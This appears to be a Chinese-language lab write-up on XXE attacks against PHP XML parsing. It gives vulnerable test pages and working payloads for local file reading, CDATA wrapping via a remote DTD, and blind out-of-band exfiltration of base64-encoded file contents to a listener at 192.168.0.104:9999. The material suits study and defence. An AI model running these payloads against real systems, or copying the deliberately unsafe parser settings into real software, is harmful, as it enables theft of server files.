1、test.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY name "my name is zwish">]>
<root>&name;</root>
测试一下是否能解析xml
2、是否支持引用外部实体
<?xml version="1.0" encoding="UTF_8"?>
<!DOCTYPE ANY [
<!ENTITY % name SYSTEM "http://47.100.*.*/index.html">
%name;
]>
在服务器47.100.*.*
查看日志发现访问请求
3、读取本地任意文件
先写一个具有漏洞的测试页面
<?php
libxml_disable_entity_loader (false);//允许包含外部实体
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$zw = simplexml_import_dom($dom);
echo $zw;
?>
然后访问该页面,并附带一个payload
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE zw [
<!ENTITY goodies SYSTEM "file:///D:/1.txt"> ]>
<zw>&goodies;</zw>
这里我使用浏览器插件post发送payload死活是服务器500。。。用burpsuite抓包发送才成功
还可以这样写一个验证页面(跟上面相比,则只需要访问该页面就可以读取本地文件了):
<?php
$xml = <<<EOF
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///D:/1.txt">
]>
<x>&f;</x>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>
但是当有特殊符号,比如<、?、>
等时,读取文件就会报错
这时需要用到CDATA
术语 CDATA 指的是不应由 XML 解析器进行解析的文本数据(Unparsed Character Data)。
在 XML 元素中,"<" 和 "&" 是非法的。
"<" 会产生错误,因为解析器会把该字符解释为新元素的开始。
"&" 也会产生错误,因为解析器会把该字符解释为字符实体的开始。
某些文本,比如 JavaScript 代码,包含大量 "<" 或 "&" 字符。为了避免错误,可以将脚本代码定义为 CDATA。
CDATA 部分中的所有内容都会被解析器忽略。
CDATA 部分由 "<![CDATA[" 开始,由 "]]>" 结束
改造payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///D:/2.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://192.168.0.104/XXE/test.dtd">
%dtd; ]>
<roottag>&all;</roottag>
4、无回显读取本地敏感文件(Blind OOB XXE)
xml1.php
<?php
//无回显读取本地敏感文件(Blind OOB XXE)
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
?>
test1.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/1.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://192.168.0.104:9999?p=%file;'>">
payload:
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://192.168.0.104/XXE/test1.dtd">
%remote;%int;%send;
]>
访问漏洞页面并发送payload;
http://127.0.0.1/webTest/XXE/xml1.php
服务器192.168.0.104开启监听:ncat -klvp 9999